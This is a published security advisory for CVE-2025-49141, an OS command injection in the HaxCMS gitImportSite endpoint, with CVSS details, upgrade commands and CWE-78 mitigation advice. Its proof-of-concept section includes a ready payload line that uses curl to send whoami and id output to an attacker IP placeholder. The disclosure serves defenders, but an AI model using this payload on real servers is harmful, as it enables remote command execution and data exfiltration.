GHSA-g4cf-pp4x-hqgw CVE-2025-49141

HaxCMS-PHP Command Injection Vulnerability

High npm

Severity: 8.5 / 10; High · CVSS 3.1
Exploit chance (EPSS): 1.49%; Chance of exploitation in the next 30 days. Higher than 74.05% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Fix: 11.0.3; Upgrade @haxtheweb/haxcms-nodejs to this version or later

Description

Summary

The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.

Details

The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection. gitImportSite

Affected Resources

• Operations.php:2103 gitImportSite() • <domain>/<user>/system/api/gitImportSite

PoC

To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').

Start a webserver. webserver
Initiate a request to the ’archiveSite’ endpoint. archiveSite
Capture and modify the request in BurpSuite. request-modification
Observe command output in the HTTP request from the server. command-output

Command Injection Payload

http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef

Impact

An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.

Affected versions

npm

Package	Vulnerable	Fixed in
@haxtheweb/haxcms-nodejs	`< 11.0.3`	`11.0.3`

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

@haxtheweb/haxcms-nodejs npm → `11.0.3`

npm

npm install @haxtheweb/haxcms-nodejs@11.0.3

yarn

yarn add @haxtheweb/haxcms-nodejs@11.0.3

pnpm

pnpm add @haxtheweb/haxcms-nodejs@11.0.3

Severity breakdown

CVSS 3.1 8.5

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Attack vector: Network
Attack complexity: High
Privileges required: Low
User interaction: None
Scope: Changed
Confidentiality: High
Integrity: High
Availability: High

Weakness

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

How to prevent it

Architecture and Design: If at all possible, use library calls rather than external processes to recreate the desired functionality.
Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Architecture and Design: For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Implementation: If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would ne
Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Operation: Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Advisories

nvd.nist.gov/vuln/detail/CVE-2025-49141

Packages

github.com/haxtheweb/haxcms-nodejs

Timeline

Jun 9, 2025 Published
Sep 10, 2026 Last updated by the source
Oct 31, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-g2g8-95qg-v35h HaxCMS has a stored Cross-Site Scripting (XSS) bypass in its saveNode endpoint	High	Also affects @haxtheweb/haxcms-nodejs
GHSA-9r33-xhw8-4qqp HAX CMS: Denial of Service using Malicious Import Request	Medium	Also affects @haxtheweb/haxcms-nodejs
GHSA-x3x5-7h4h-gwxg HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack	High	Also affects @haxtheweb/haxcms-nodejs
GHSA-jh3h-rpxg-fr36 Stored XSS via <iframe> in HAX CMS allows access to sensitive client-side data and account takeover	High	Also affects @haxtheweb/haxcms-nodejs
GHSA-6c8g-9hfh-pq5h HAXcms: Private Key Disclosure via Broken HMAC Implementation	Critical	Also affects @haxtheweb/haxcms-nodejs
GHSA-2m6p-hm3w-6jm3 HAX CMS: Stored XSS via '<video-player>' component allows arbitrary JavaScript execution and token theft	Medium	Also affects @haxtheweb/haxcms-nodejs
GHSA-q862-gcgq-5m6g HAXcms createSite SSRF Enables Arbitrary File Read	High	Also affects @haxtheweb/haxcms-nodejs
GHSA-3fm2-xfq7-7778 HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover	Medium	Also affects @haxtheweb/haxcms-nodejs

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